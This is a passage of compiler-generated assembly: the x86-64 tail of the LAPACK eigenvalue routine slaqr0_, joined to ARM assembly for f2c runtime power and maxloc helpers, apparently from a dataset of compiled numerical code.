addss xmm0, xmm1
comiss xmm0, xmm2
jbe .L133
mov DWORD PTR -192[rbp], 0
mov eax, DWORD PTR -208[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -352[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
movss DWORD PTR -84[rbp], xmm0
mov eax, DWORD PTR -208[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -352[rbp]
add rdx, rax
mov eax, DWORD PTR -208[rbp]
cdqe
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -352[rbp]
add rax, rcx
movss xmm0, DWORD PTR [rdx]
movss DWORD PTR [rax], xmm0
mov eax, DWORD PTR -208[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -352[rbp]
add rax, rdx
movss xmm0, DWORD PTR -84[rbp]
movss DWORD PTR [rax], xmm0
mov eax, DWORD PTR -208[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -360[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
movss DWORD PTR -84[rbp], xmm0
mov eax, DWORD PTR -208[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -360[rbp]
add rdx, rax
mov eax, DWORD PTR -208[rbp]
cdqe
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -360[rbp]
add rax, rcx
movss xmm0, DWORD PTR [rdx]
movss DWORD PTR [rax], xmm0
mov eax, DWORD PTR -208[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -360[rbp]
add rax, rdx
movss xmm0, DWORD PTR -84[rbp]
movss DWORD PTR [rax], xmm0
.L133:
add DWORD PTR -208[rbp], 1
.L120:
mov eax, DWORD PTR -208[rbp]
cmp eax, DWORD PTR -128[rbp]
jle .L135
sub DWORD PTR -204[rbp], 1
.L117:
mov eax, DWORD PTR -204[rbp]
cmp eax, DWORD PTR -164[rbp]
jge .L136
jmp .L116
.L119:
.L184:
nop
.L116:
mov eax, DWORD PTR -196[rbp]
add eax, 2
mov DWORD PTR -164[rbp], eax
mov eax, DWORD PTR -280[rbp]
mov DWORD PTR -208[rbp], eax
jmp .L137
.L140:
mov eax, DWORD PTR -208[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -360[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
mov eax, DWORD PTR -208[rbp]
cdqe
sal rax, 2
lea rdx, -4[rax]
mov rax, QWORD PTR -360[rbp]
add rax, rdx
movss xmm1, DWORD PTR [rax]
movss xmm2, DWORD PTR .LC5[rip]
xorps xmm1, xmm2
ucomiss xmm0, xmm1
jp .L166
comiss xmm0, xmm1
je .L138
.L166:
mov eax, DWORD PTR -208[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -352[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
movss DWORD PTR -84[rbp], xmm0
mov eax, DWORD PTR -208[rbp]
cdqe
sal rax, 2
lea rdx, -4[rax]
mov rax, QWORD PTR -352[rbp]
add rdx, rax
mov eax, DWORD PTR -208[rbp]
cdqe
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -352[rbp]
add rax, rcx
movss xmm0, DWORD PTR [rdx]
movss DWORD PTR [rax], xmm0
mov eax, DWORD PTR -208[rbp]
cdqe
sal rax, 2
lea rdx, -8[rax]
mov rax, QWORD PTR -352[rbp]
add rdx, rax
mov eax, DWORD PTR -208[rbp]
cdqe
sal rax, 2
lea rcx, -4[rax]
mov rax, QWORD PTR -352[rbp]
add rax, rcx
movss xmm0, DWORD PTR [rdx]
movss DWORD PTR [rax], xmm0
mov eax, DWORD PTR -208[rbp]
cdqe
sal rax, 2
lea rdx, -8[rax]
mov rax, QWORD PTR -352[rbp]
add rax, rdx
movss xmm0, DWORD PTR -84[rbp]
movss DWORD PTR [rax], xmm0
mov eax, DWORD PTR -208[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -360[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
movss DWORD PTR -84[rbp], xmm0
mov eax, DWORD PTR -208[rbp]
cdqe
sal rax, 2
lea rdx, -4[rax]
mov rax, QWORD PTR -360[rbp]
add rdx, rax
mov eax, DWORD PTR -208[rbp]
cdqe
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -360[rbp]
add rax, rcx
movss xmm0, DWORD PTR [rdx]
movss DWORD PTR [rax], xmm0
mov eax, DWORD PTR -208[rbp]
cdqe
sal rax, 2
lea rdx, -8[rax]
mov rax, QWORD PTR -360[rbp]
add rdx, rax
mov eax, DWORD PTR -208[rbp]
cdqe
sal rax, 2
lea rcx, -4[rax]
mov rax, QWORD PTR -360[rbp]
add rax, rcx
movss xmm0, DWORD PTR [rdx]
movss DWORD PTR [rax], xmm0
mov eax, DWORD PTR -208[rbp]
cdqe
sal rax, 2
lea rdx, -8[rax]
mov rax, QWORD PTR -360[rbp]
add rax, rdx
movss xmm0, DWORD PTR -84[rbp]
movss DWORD PTR [rax], xmm0
.L138:
sub DWORD PTR -208[rbp], 2
.L137:
mov eax, DWORD PTR -208[rbp]
cmp eax, DWORD PTR -164[rbp]
jge .L140
.L112:
mov eax, DWORD PTR -280[rbp]
sub eax, DWORD PTR -196[rbp]
cmp eax, 1
jne .L141
mov eax, DWORD PTR -280[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -360[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
pxor xmm1, xmm1
ucomiss xmm0, xmm1
jp .L141
pxor xmm1, xmm1
ucomiss xmm0, xmm1
jne .L141
mov eax, DWORD PTR -280[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -352[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
mov eax, DWORD PTR -280[rbp]
imul eax, DWORD PTR -184[rbp]
mov edx, eax
mov eax, DWORD PTR -280[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -336[rbp]
add rax, rdx
movss xmm1, DWORD PTR [rax]
subss xmm0, xmm1
movss DWORD PTR -120[rbp], xmm0
mov eax, DWORD PTR -280[rbp]
cdqe
sal rax, 2
lea rdx, -4[rax]
mov rax, QWORD PTR -352[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
mov eax, DWORD PTR -280[rbp]
imul eax, DWORD PTR -184[rbp]
mov edx, eax
mov eax, DWORD PTR -280[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -336[rbp]
add rax, rdx
movss xmm1, DWORD PTR [rax]
subss xmm0, xmm1
movss DWORD PTR -116[rbp], xmm0
movss xmm0, DWORD PTR -120[rbp]
pxor xmm1, xmm1
comiss xmm0, xmm1
jb .L179
movss xmm1, DWORD PTR -120[rbp]
jmp .L145
.L179:
movss xmm0, DWORD PTR -120[rbp]
movss xmm1, DWORD PTR .LC5[rip]
xorps xmm1, xmm0
.L145:
movss xmm0, DWORD PTR -116[rbp]
pxor xmm2, xmm2
comiss xmm0, xmm2
jb .L180
movss xmm0, DWORD PTR -116[rbp]
jmp .L148
.L180:
movss xmm0, DWORD PTR -116[rbp]
movss xmm2, DWORD PTR .LC5[rip]
xorps xmm0, xmm2
.L148:
comiss xmm0, xmm1
jbe .L181
mov eax, DWORD PTR -280[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -352[rbp]
add rdx, rax
mov eax, DWORD PTR -280[rbp]
cdqe
sal rax, 2
lea rcx, -4[rax]
mov rax, QWORD PTR -352[rbp]
add rax, rcx
movss xmm0, DWORD PTR [rdx]
movss DWORD PTR [rax], xmm0
jmp .L141
.L181:
mov eax, DWORD PTR -280[rbp]
cdqe
sal rax, 2
lea rdx, -4[rax]
mov rax, QWORD PTR -352[rbp]
add rdx, rax
mov eax, DWORD PTR -280[rbp]
cdqe
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -352[rbp]
add rax, rcx
movss xmm0, DWORD PTR [rdx]
movss DWORD PTR [rax], xmm0
.L141:
mov eax, DWORD PTR -236[rbp]
mov DWORD PTR -164[rbp], eax
mov eax, DWORD PTR -280[rbp]
sub eax, DWORD PTR -196[rbp]
add eax, 1
mov DWORD PTR -128[rbp], eax
mov eax, DWORD PTR -128[rbp]
cmp DWORD PTR -164[rbp], eax
cmovle eax, DWORD PTR -164[rbp]
mov DWORD PTR -236[rbp], eax
mov edx, DWORD PTR -236[rbp]
mov eax, DWORD PTR -236[rbp]
mov ecx, eax
sar ecx, 31
shr ecx, 31
add eax, ecx
and eax, 1
sub eax, ecx
mov ecx, eax
mov eax, edx
sub eax, ecx
mov DWORD PTR -236[rbp], eax
mov eax, DWORD PTR -280[rbp]
mov edx, DWORD PTR -236[rbp]
sub eax, edx
add eax, 1
mov DWORD PTR -196[rbp], eax
mov eax, DWORD PTR -236[rbp]
add eax, eax
mov DWORD PTR -76[rbp], eax
mov rax, QWORD PTR -312[rbp]
mov eax, DWORD PTR [rax]
sub eax, DWORD PTR -76[rbp]
add eax, 1
mov DWORD PTR -72[rbp], eax
mov eax, DWORD PTR -76[rbp]
add eax, 1
mov DWORD PTR -68[rbp], eax
mov rax, QWORD PTR -312[rbp]
mov eax, DWORD PTR [rax]
sub eax, DWORD PTR -76[rbp]
lea edx, -3[rax]
mov eax, DWORD PTR -76[rbp]
lea ecx, 1[rax]
mov eax, edx
sub eax, ecx
add eax, 1
mov DWORD PTR -224[rbp], eax
mov eax, DWORD PTR -76[rbp]
add eax, 4
mov DWORD PTR -104[rbp], eax
mov rax, QWORD PTR -312[rbp]
mov eax, DWORD PTR [rax]
sub eax, DWORD PTR -76[rbp]
sub eax, DWORD PTR -104[rbp]
add eax, 1
mov DWORD PTR -220[rbp], eax
mov eax, DWORD PTR -68[rbp]
imul eax, DWORD PTR -184[rbp]
mov edx, eax
mov eax, DWORD PTR -72[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -336[rbp]
lea rdi, [rdx+rax]
mov edx, DWORD PTR -104[rbp]
mov eax, DWORD PTR -184[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -336[rbp]
lea r13, [rdx+rax]
mov edx, DWORD PTR -72[rbp]
mov eax, DWORD PTR -184[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -336[rbp]
lea r12, [rdx+rax]
mov rax, QWORD PTR -400[rbp]
lea rbx, 4[rax]
mov eax, DWORD PTR -172[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -384[rbp]
lea r11, [rdx+rax]
mov eax, DWORD PTR -180[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -336[rbp]
lea r10, [rdx+rax]
mov eax, DWORD PTR -196[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -360[rbp]
lea r9, [rdx+rax]
mov eax, DWORD PTR -196[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -352[rbp]
lea r8, [rdx+rax]
lea r15, -280[rbp]
lea r14, -276[rbp]
mov rcx, QWORD PTR -312[rbp]
lea rdx, -272[rbp]
mov rsi, QWORD PTR -304[rbp]
mov rax, QWORD PTR -296[rbp]
sub rsp, 8
push QWORD PTR -344[rbp]
push rdi
lea rdi, -224[rbp]
push rdi
push QWORD PTR -344[rbp]
push r13
lea rdi, -220[rbp]
push rdi
push QWORD PTR -344[rbp]
push r12
lea rdi, c__3[rip]
push rdi
push rbx
push QWORD PTR -392[rbp]
push r11
push QWORD PTR -376[rbp]
push QWORD PTR -368[rbp]
push QWORD PTR -344[rbp]
push r10
push r9
push r8
lea rdi, -236[rbp]
push rdi
mov r9, r15
mov r8, r14
mov rdi, rax
call slaqr5_@PLT
add rsp, 160
.L102:
mov eax, DWORD PTR -252[rbp]
test eax, eax
jle .L151
mov DWORD PTR -212[rbp], 1
jmp .L152
.L151:
add DWORD PTR -212[rbp], 1
.L152:
add DWORD PTR -200[rbp], 1
.L78:
mov eax, DWORD PTR -284[rbp]
cmp DWORD PTR -200[rbp], eax
jle .L153
mov edx, DWORD PTR -280[rbp]
mov rax, QWORD PTR -416[rbp]
mov DWORD PTR [rax], edx
jmp .L72
.L80:
.L182:
nop
.L72:
mov rax, QWORD PTR -400[rbp]
add rax, 4
pxor xmm0, xmm0
cvtsi2ss xmm0, DWORD PTR -188[rbp]
movss DWORD PTR [rax], xmm0
mov eax, 0
.L154:
mov rbx, QWORD PTR -56[rbp]
sub rbx, QWORD PTR fs:40
je .L155
call __stack_chk_fail@PLT
.L155:
lea rsp, -40[rbp]
pop rbx
pop r12
pop r13
pop r14
pop r15
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE21:
.size slaqr0_, .-slaqr0_
.section .rodata
.align 4
.LC0:
.long 1065353216
.align 8
.LC1:
.long 0
.long 1072693248
.align 16
.LC5:
.long -2147483648
.long 0
.long 0
.long 0
.align 4
.LC6:
.long 1061158912
.align 4
.LC7:
.long -1092616192
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "752945.c"
.text
.data
.align 2
.type junk, %object
.size junk, 30
junk:
.ascii "\012@(#)LIBF77 VERSION 19990503\012\000"
.global __aeabi_fdiv
.global __aeabi_fmul
.text
.align 2
.syntax unified
.arm
.fpu softvfp
.type spow_ui, %function
spow_ui:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16] @ float
str r1, [fp, #-20]
mov r3, #1065353216
str r3, [fp, #-12] @ float
ldr r3, [fp, #-20]
cmp r3, #0
beq .L2
ldr r3, [fp, #-20]
cmp r3, #0
bge .L3
ldr r3, [fp, #-20]
rsb r3, r3, #0
str r3, [fp, #-20]
ldr r1, [fp, #-16] @ float
mov r0, #1065353216
bl __aeabi_fdiv
mov r3, r0
str r3, [fp, #-16] @ float
.L3:
ldr r3, [fp, #-20]
str r3, [fp, #-8]
.L7:
ldr r3, [fp, #-8]
and r3, r3, #1
cmp r3, #0
beq .L4
ldr r1, [fp, #-16] @ float
ldr r0, [fp, #-12] @ float
bl __aeabi_fmul
mov r3, r0
str r3, [fp, #-12] @ float
.L4:
ldr r3, [fp, #-8]
lsr r3, r3, #1
str r3, [fp, #-8]
ldr r3, [fp, #-8]
cmp r3, #0
beq .L9
ldr r1, [fp, #-16] @ float
ldr r0, [fp, #-16] @ float
bl __aeabi_fmul
mov r3, r0
str r3, [fp, #-16] @ float
b .L7
.L9:
nop
.L2:
ldr r3, [fp, #-12] @ float
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size spow_ui, .-spow_ui
.global __aeabi_ddiv
.global __aeabi_dmul
.align 2
.syntax unified
.arm
.fpu softvfp
.type dpow_ui, %function
dpow_ui:
@ args = 0, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #32
str r0, [fp, #-28]
str r1, [fp, #-24]
str r2, [fp, #-32]
mov r2, #0
ldr r3, .L19
str r2, [fp, #-12]
str r3, [fp, #-8]
ldr r3, [fp, #-32]
cmp r3, #0
beq .L11
ldr r3, [fp, #-32]
cmp r3, #0
bge .L12
ldr r3, [fp, #-32]
rsb r3, r3, #0
str r3, [fp, #-32]
sub r3, fp, #28
ldmia r3, {r2-r3}
mov r0, #0
ldr r1, .L19
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
str r2, [fp, #-28]
str r3, [fp, #-24]
.L12:
ldr r3, [fp, #-32]
str r3, [fp, #-16]
.L16:
ldr r3, [fp, #-16]
and r3, r3, #1
cmp r3, #0
beq .L13
sub r3, fp, #28
ldmia r3, {r2-r3}
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-12]
str r3, [fp, #-8]
.L13:
ldr r3, [fp, #-16]
lsr r3, r3, #1
str r3, [fp, #-16]
ldr r3, [fp, #-16]
cmp r3, #0
beq .L18
sub r3, fp, #28
ldmia r3, {r2-r3}
sub r1, fp, #28
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-28]
str r3, [fp, #-24]
b .L16
.L18:
nop
.L11:
sub r3, fp, #12
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L20:
.align 2
.L19:
.word 1072693248
.size dpow_ui, .-dpow_ui
.section .rodata
.align 2
.LC0:
.word __stack_chk_guard
.text
.align 2
.syntax unified
.arm
.fpu softvfp
.type cpow_ui, %function
cpow_ui:
@ args = 0, pretend = 0, frame = 56
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #64
str r0, [fp, #-40]
str r1, [fp, #-48] @ float
str r2, [fp, #-44] @ float
str r3, [fp, #-52]
ldr r3, .L32
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r3, [fp, #-48] @ float
str r3, [fp, #-32] @ float
ldr r3, [fp, #-44] @ float
str r3, [fp, #-28] @ float
mov r3, #1065353216
str r3, [fp, #-16] @ float
mov r3, #0
str r3, [fp, #-12] @ float
ldr r3, [fp, #-52]
cmp r3, #0
beq .L30
ldr r3, [fp, #-52]
cmp r3, #0
bge .L23
ldr r3, [fp, #-52]
rsb r3, r3, #0
str r3, [fp, #-52]
sub r0, fp, #60
ldr r3, [fp, #-28] @ float
str r3, [sp] @ float
ldr r3, [fp, #-32] @ float
mov r2, #0
mov r1, #1065353216
bl __divsc3
ldr r3, [fp, #-60] @ float
str r3, [fp, #-48] @ float
ldr r3, [fp, #-56] @ float
str r3, [fp, #-44] @ float
ldr r3, [fp, #-48] @ float
str r3, [fp, #-32] @ float
ldr r3, [fp, #-44] @ float
str r3, [fp, #-28] @ float
.L23:
ldr r3, [fp, #-52]
str r3, [fp, #-36]
mov r3, #0
str r3, [fp, #-20] @ float
mov r3, #1065353216
str r3, [fp, #-24] @ float
.L27:
ldr r3, [fp, #-36]
and r3, r3, #1
cmp r3, #0
beq .L24
sub r0, fp, #60
ldr r3, [fp, #-28] @ float
str r3, [sp] @ float
ldr r3, [fp, #-32] @ float
ldr r2, [fp, #-20] @ float
ldr r1, [fp, #-24] @ float
bl __mulsc3
ldr r3, [fp, #-60] @ float
str r3, [fp, #-16] @ float
ldr r3, [fp, #-56] @ float
str r3, [fp, #-12] @ float
ldr r3, [fp, #-16] @ float
str r3, [fp, #-24] @ float
ldr r3, [fp, #-12] @ float
str r3, [fp, #-20] @ float
.L24:
ldr r3, [fp, #-36]
lsr r3, r3, #1
str r3, [fp, #-36]
ldr r3, [fp, #-36]
cmp r3, #0
beq .L31
sub r0, fp, #60
ldr r3, [fp, #-28] @ float
str r3, [sp] @ float
ldr r3, [fp, #-32] @ float
ldr r2, [fp, #-28] @ float
ldr r1, [fp, #-32] @ float
bl __mulsc3
ldr r3, [fp, #-60] @ float
str r3, [fp, #-48] @ float
ldr r3, [fp, #-56] @ float
str r3, [fp, #-44] @ float
ldr r3, [fp, #-48] @ float
str r3, [fp, #-32] @ float
ldr r3, [fp, #-44] @ float
str r3, [fp, #-28] @ float
b .L27
.L30:
mov r3, #0
str r3, [fp, #-20] @ float
mov r3, #1065353216
str r3, [fp, #-24] @ float
b .L22
.L31:
nop
.L22:
ldr r3, [fp, #-40]
ldr r2, [fp, #-24] @ float
str r2, [r3] @ float
ldr r3, [fp, #-40]
ldr r2, [fp, #-20] @ float
str r2, [r3, #4] @ float
ldr r3, .L32
ldr r2, [r3]
ldr r3, [fp, #-8]
eors r2, r3, r2
mov r3, #0
beq .L29
bl __stack_chk_fail
.L29:
ldr r0, [fp, #-40]
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L33:
.align 2
.L32:
.word .LC0
.size cpow_ui, .-cpow_ui
.section .rodata
.align 2
.LC1:
.word __stack_chk_guard
.text
.align 2
.syntax unified
.arm
.fpu softvfp
.type zpow_ui, %function
zpow_ui:
@ args = 20, pretend = 8, frame = 88
@ frame_needed = 1, uses_anonymous_args = 0
sub sp, sp, #8
push {fp, lr}
add fp, sp, #4
sub sp, sp, #112
str r0, [fp, #-72]
add r1, fp, #4
stm r1, {r2, r3}
ldr r3, .L45
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldmib fp, {r2-r3}
str r2, [fp, #-60]
str r3, [fp, #-56]
add r3, fp, #12
ldmia r3, {r2-r3}
str r2, [fp, #-52]
str r3, [fp, #-48]
mov r2, #0
ldr r3, .L45+4
str r2, [fp, #-28]
str r3, [fp, #-24]
mov r2, #0
mov r3, #0
str r2, [fp, #-20]
str r3, [fp, #-16]
ldr r3, [fp, #20]
cmp r3, #0
beq .L43
ldr r3, [fp, #20]
cmp r3, #0
bge .L36
ldr r3, [fp, #20]
rsb r3, r3, #0
str r3, [fp, #20]
sub r1, fp, #92
sub r3, fp, #52
ldmia r3, {r2-r3}
str r2, [sp, #16]
str r3, [sp, #20]
sub r3, fp, #60
ldmia r3, {r2-r3}
str r2, [sp, #8]
str r3, [sp, #12]
mov r2, #0
mov r3, #0
stm sp, {r2-r3}
mov r2, #0
ldr r3, .L45+4
mov r0, r1
bl __divdc3
sub r3, fp, #92
ldmia r3, {r2-r3}
stmib fp, {r2-r3}
sub r3, fp, #84
ldmia r3, {r2-r3}
str r2, [fp, #12]
str r3, [fp, #16]
ldmib fp, {r2-r3}
str r2, [fp, #-60]
str r3, [fp, #-56]
add r3, fp, #12
ldmia r3, {r2-r3}
str r2, [fp, #-52]
str r3, [fp, #-48]
.L36:
ldr r3, [fp, #20]
str r3, [fp, #-64]
mov r2, #0
mov r3, #0
str r2, [fp, #-36]
str r3, [fp, #-32]
mov r2, #0
ldr r3, .L45+4
str r2, [fp, #-44]
str r3, [fp, #-40]
.L40:
ldr r3, [fp, #-64]
and r3, r3, #1
cmp r3, #0
beq .L37
sub r1, fp, #92
sub r3, fp, #52
ldmia r3, {r2-r3}
str r2, [sp, #16]
str r3, [sp, #20]
sub r3, fp, #60
ldmia r3, {r2-r3}
str r2, [sp, #8]
str r3, [sp, #12]
sub r3, fp, #36
ldmia r3, {r2-r3}
stm sp, {r2-r3}
sub r3, fp, #44
ldmia r3, {r2-r3}
mov r0, r1
bl __muldc3
sub r3, fp, #92
ldmia r3, {r2-r3}
str r2, [fp, #-28]
str r3, [fp, #-24]
sub r3, fp, #84
ldmia r3, {r2-r3}
str r2, [fp, #-20]
str r3, [fp, #-16]
sub r3, fp, #28
ldmia r3, {r2-r3}
str r2, [fp, #-44]
str r3, [fp, #-40]
sub r3, fp, #20
ldmia r3, {r2-r3}
str r2, [fp, #-36]
str r3, [fp, #-32]
.L37:
ldr r3, [fp, #-64]
lsr r3, r3, #1
str r3, [fp, #-64]
ldr r3, [fp, #-64]
cmp r3, #0
beq .L44
sub r1, fp, #92
sub r3, fp, #52
ldmia r3, {r2-r3}
str r2, [sp, #16]
str r3, [sp, #20]
sub r3, fp, #60
ldmia r3, {r2-r3}
str r2, [sp, #8]
str r3, [sp, #12]
sub r3, fp, #52
ldmia r3, {r2-r3}
stm sp, {r2-r3}
sub r3, fp, #60
ldmia r3, {r2-r3}
mov r0, r1
bl __muldc3
sub r3, fp, #92
ldmia r3, {r2-r3}
stmib fp, {r2-r3}
sub r3, fp, #84
ldmia r3, {r2-r3}
str r2, [fp, #12]
str r3, [fp, #16]
ldmib fp, {r2-r3}
str r2, [fp, #-60]
str r3, [fp, #-56]
add r3, fp, #12
ldmia r3, {r2-r3}
str r2, [fp, #-52]
str r3, [fp, #-48]
b .L40
.L43:
mov r2, #0
mov r3, #0
str r2, [fp, #-36]
str r3, [fp, #-32]
mov r2, #0
ldr r3, .L45+4
str r2, [fp, #-44]
str r3, [fp, #-40]
b .L35
.L44:
nop
.L35:
ldr r1, [fp, #-72]
sub r3, fp, #44
ldmia r3, {r2-r3}
stm r1, {r2-r3}
ldr r1, [fp, #-72]
sub r3, fp, #36
ldmia r3, {r2-r3}
str r2, [r1, #8]
str r3, [r1, #12]
ldr r3, .L45
ldr r2, [r3]
ldr r3, [fp, #-8]
eors r2, r3, r2
mov r3, #0
beq .L42
bl __stack_chk_fail
.L42:
ldr r0, [fp, #-72]
sub sp, fp, #4
@ sp needed
pop {fp, lr}
add sp, sp, #8
bx lr
.L46:
.align 2
.L45:
.word .LC1
.word 1072693248
.size zpow_ui, .-zpow_ui
.global __aeabi_idiv
.align 2
.syntax unified
.arm
.fpu softvfp
.type pow_ii, %function
pow_ii:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16]
str r1, [fp, #-20]
ldr r3, [fp, #-20]
cmp r3, #0
bgt .L48
ldr r3, [fp, #-20]
cmp r3, #0
beq .L49
ldr r3, [fp, #-16]
cmp r3, #1
bne .L50
.L49:
mov r3, #1
str r3, [fp, #-12]
b .L48
.L50:
ldr r3, [fp, #-16]
cmn r3, #1
beq .L51
ldr r3, [fp, #-16]
cmp r3, #0
bne .L52
ldr r1, [fp, #-16]
mov r0, #1
bl __aeabi_idiv
mov r3, r0
b .L53
.L52:
mov r3, #0
.L53:
str r3, [fp, #-12]
b .L48
.L51:
ldr r3, [fp, #-20]
rsb r3, r3, #0
str r3, [fp, #-20]
.L48:
ldr r3, [fp, #-20]
cmp r3, #0
bgt .L54
ldr r3, [fp, #-20]
cmp r3, #0
beq .L55
ldr r3, [fp, #-16]
cmp r3, #1
beq .L55
ldr r3, [fp, #-16]
cmn r3, #1
bne .L55
.L54:
ldr r3, [fp, #-20]
str r3, [fp, #-8]
mov r3, #1
str r3, [fp, #-12]
.L59:
ldr r3, [fp, #-8]
and r3, r3, #1
cmp r3, #0
beq .L56
ldr r3, [fp, #-12]
ldr r2, [fp, #-16]
mul r3, r2, r3
str r3, [fp, #-12]
.L56:
ldr r3, [fp, #-8]
lsr r3, r3, #1
str r3, [fp, #-8]
ldr r3, [fp, #-8]
cmp r3, #0
beq .L61
ldr r3, [fp, #-16]
mov r2, r3
mul r2, r3, r2
mov r3, r2
str r3, [fp, #-16]
b .L59
.L61:
nop
.L55:
ldr r3, [fp, #-12]
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size pow_ii, .-pow_ii
.global __aeabi_dcmplt
.align 2
.syntax unified
.arm
.fpu softvfp
.type dmaxloc_, %function
dmaxloc_:
@ args = 0, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #32
str r0, [fp, #-24]
str r1, [fp, #-28]
str r2, [fp, #-32]
str r3, [fp, #-36]
ldr r3, [fp, #-28]
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-24]
add r3, r2, r3
ldmia r3, {r2-r3}
str r2, [fp, #-12]
str r3, [fp, #-8]
ldr r3, [fp, #-28]
str r3, [fp, #-16]
ldr r3, [fp, #-28]
add r3, r3, #1
str r3, [fp, #-20]
b .L63
.L66:
ldr r3, [fp, #-20]
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-24]
add r3, r2, r3
ldmia r3, {r2-r3}
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_dcmplt
mov r3, r0
cmp r3, #0
beq .L64
ldr r3, [fp, #-20]
str r3, [fp, #-16]
ldr r3, [fp, #-20]
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-24]
add r3, r2, r3
ldmia r3, {r2-r3}
str r2, [fp, #-12]
str r3, [fp, #-8]
.L64:
ldr r3, [fp, #-20]
add r3, r3, #1
str r3, [fp, #-20]
.L63:
ldr r2, [fp, #-20]
ldr r3, [fp, #-32]
cmp r2, r3
ble .L66
ldr r2, [fp, #-16]
ldr r3, [fp, #-28]
sub r3, r2, r3
add r3, r3, #1
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size dmaxloc_, .-dmaxloc_
.global __aeabi_fcmplt
.align 2
.syntax unified
.arm
.fpu softvfp
.type smaxloc_, %function
smaxloc_:
@ args = 0, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #32
str r0, [fp, #-24]
str r1, [fp, #-28]
str r2, [fp, #-32]
str r3, [fp, #-36]
ldr r3, [fp, #-28]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-24]
add r3, r2, r3
ldr r3, [r3] @ float
str r3, [fp, #-16] @ float
ldr r3, [fp, #-28]
str r3, [fp, #-8]
ldr r3, [fp, #-28]
add r3, r3, #1
str r3, [fp, #-12]
b .L70
.L73:
ldr r3, [fp, #-12]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-24]
add r3, r2, r3
ldr r3, [r3] @ float
mov r1, r3
